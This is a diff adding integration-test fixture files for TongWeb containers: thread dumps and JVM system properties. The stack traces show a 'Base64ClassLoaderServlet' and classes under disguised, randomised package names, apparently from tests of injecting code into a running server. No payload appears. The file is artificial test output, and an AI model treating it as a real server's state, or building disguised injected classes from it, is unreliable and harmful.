sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-7" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-9" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-8" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-8" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-2" #158 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4803b3f2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"JCA-default-thread-pool-worker-9" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-1" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-7" #163 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@13b86d4b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"Thread-47" #168 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19bbd208 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-192.168.215.5" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-3" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-10" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-8" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread +com.tongweb.monitor.persistence.TimerThread +com.tongweb.monitor.persistence.util.IoPool$FileWriterThread +com.tongweb.netty.channel.nio.NioEventLoop +com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator +com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2 +com.tongweb.quartz.core.QuartzSchedulerThread +com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread +com.tongweb.twnt.thor.OpenEJBValve +com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler +com.tongweb.web.oro.http11.AbstractHttp11Processor +com.tongweb.web.thor.authenticator.AuthenticatorBase +com.tongweb.web.thor.connector.CoyoteAdapter +com.tongweb.web.thor.connector.CoyoteWriter +com.tongweb.web.thor.core.ApplicationFilterChain +com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.web.thor.core.StandardContextValve +com.tongweb.web.thor.core.StandardEngineValve +com.tongweb.web.thor.core.ThorStandardHostValve +com.tongweb.web.thor.core.ThorStandardServer +com.tongweb.web.thor.core.ThorStandardWrapperValve +com.tongweb.web.thor.startup.Catalina +com.tongweb.web.thor.startup.ThorBootstrap +com.tongweb.web.thor.startup.Tomee +com.tongweb.web.thor.valves.AccessLogValve +com.tongweb.web.thor.valves.ErrorReportValve +com.tongweb.web.websocket.server.WsFilter +com.tongweb.web.webutil.util.net.DefaultServerSocketFactory +com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor +com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout +com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor +com.tongweb.web.webutil.util.net.NioEndpoint$Poller +com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor +com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.webutil.util.threads.TaskQueue +org.apache.usbUm.ErrorHandler diff --git a/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt new file mode 100644 index 00000000..0b46f4be --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt @@ -0,0 +1,1064 @@ +# Generated At 2025-08-10 15:27:02 +SystemProps: +java.vendor: Oracle Corporation +tongweb.restart.interval: 1 +pid_file_path: /opt/tweb7/tongweb.pid +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +xss_defense: true +openejb.provider.default: com.tongweb.tomee +sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +disableResourceCache: true +checkNonXADB: true +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_342-b07 +enable_query_cache: false +tomee.version: ${pom.version} +user.name: root +openejb.deployments.classpath.filter.systemapps: false +shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/ +openejb.loader: webtier-system +genSessionCookieNameForContext: console +tongweb.home: /opt/tweb7 +java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory +user.language: en +derby.system.home: /opt/tweb7/bin +ibm.stream.nio: true +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +openejb.deployments.classpath: false +resLowversionLoad: false +tongweb.java: /usr/local/openjdk-8 +java.version: 1.8.0_342 +java.util.logging.manager: com.tongweb.log.TongwebLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: false +tongweb.X_Frame_Options: SAMEORIGIN +sun.arch.data.model: 64 +tongweb.util.buf.StringCache.byte.enabled: true +LoadClassCache.Disabled: true +tongweb.upload: /opt/tweb7/temp/upload +java.endorsed.dirs: /opt/tweb7/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web. +file.separator: / +java.specification.name: Java Platform API Specification +tongweb.jmx.remote.x.access.file: /opt/tweb7/conf/security/jmxremote.access +java.class.version: 52.0 +tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar +tomee.remote.support: false +java.home: /usr/local/openjdk-8/jre +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +openejb.embedder.source: ThanosServerListener +tongweb.sysapp: /opt/tweb7/applications +compatibleWithWas: false +path.separator: : +TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar +java.vm.version: 25.342-b07 +bval.in-container: true +com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory +useInsAnnoCheckCache: false +java.awt.printerjob: sun.print.PSPrinterJob +authconfigprovider.factory: false +java.security.policy: /opt/tweb7/conf/tongweb.policy +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +tongweb.base: /opt/tweb7 +package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web. +tongweb.app: /opt/tweb7/deployment +java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming +openejb.home: /opt/tweb7 +java.security.egd: file:/dev/./urandom +user.home: /root +java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader +openejb.version: ${pom.version} +disableVerCode: true +java.specification.vendor: Oracle Corporation +WebserviceCXF.OFF: true +contentLength.limit: 10000 +jvProfile: true +java.library.path: :/opt/tweb7/native/linux/aarch64:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +tongweb.rmijmx.cbport: 7200 +java.vm.vendor: Oracle Corporation +common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start +WebModuleOnly: false +java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar +com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl +tomee.serialization.class.blacklist: - +com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +java.io.tmpdir: /opt/tweb7/temp +xss_apps: console,heimdall +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +switchCharacterEncoding: false +server.loader: +cdi.passivate: false +java.rmi.server.hostname: 192.168.215.4 +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +tongweb.jndi.lookup.relaxVersion: false +user.dir: /opt/tweb7/bin +ShutdownSocketDisabled: false +tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/ +useBeanManagerInCompJNDI: false +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +openejb.base: /opt/tweb7 +startup.secure: false +file.encoding: UTF-8 +persistenceLogSavePath: persistence +tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +noBanner: true +java.specification.version: 1.8 +master.path: /opt/tweb7 + +=========================================== + +ThreadStacks: +"http-nio2-0.0.0.0-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"IntelligentRouterHealthInfoCollector" #185 [TIMED_WAITING] on java.util.TaskQueue@703fde5c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-8080-Acceptor-0" #115 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@353d4e3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-7" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.Uzcrn.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14) + at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:103) + at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) + at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452) + at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:346) + at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) + at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43) + at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21) + at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:469) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:870) + at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:921) + at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1635) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-1" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Thread-35" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c2b943 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at 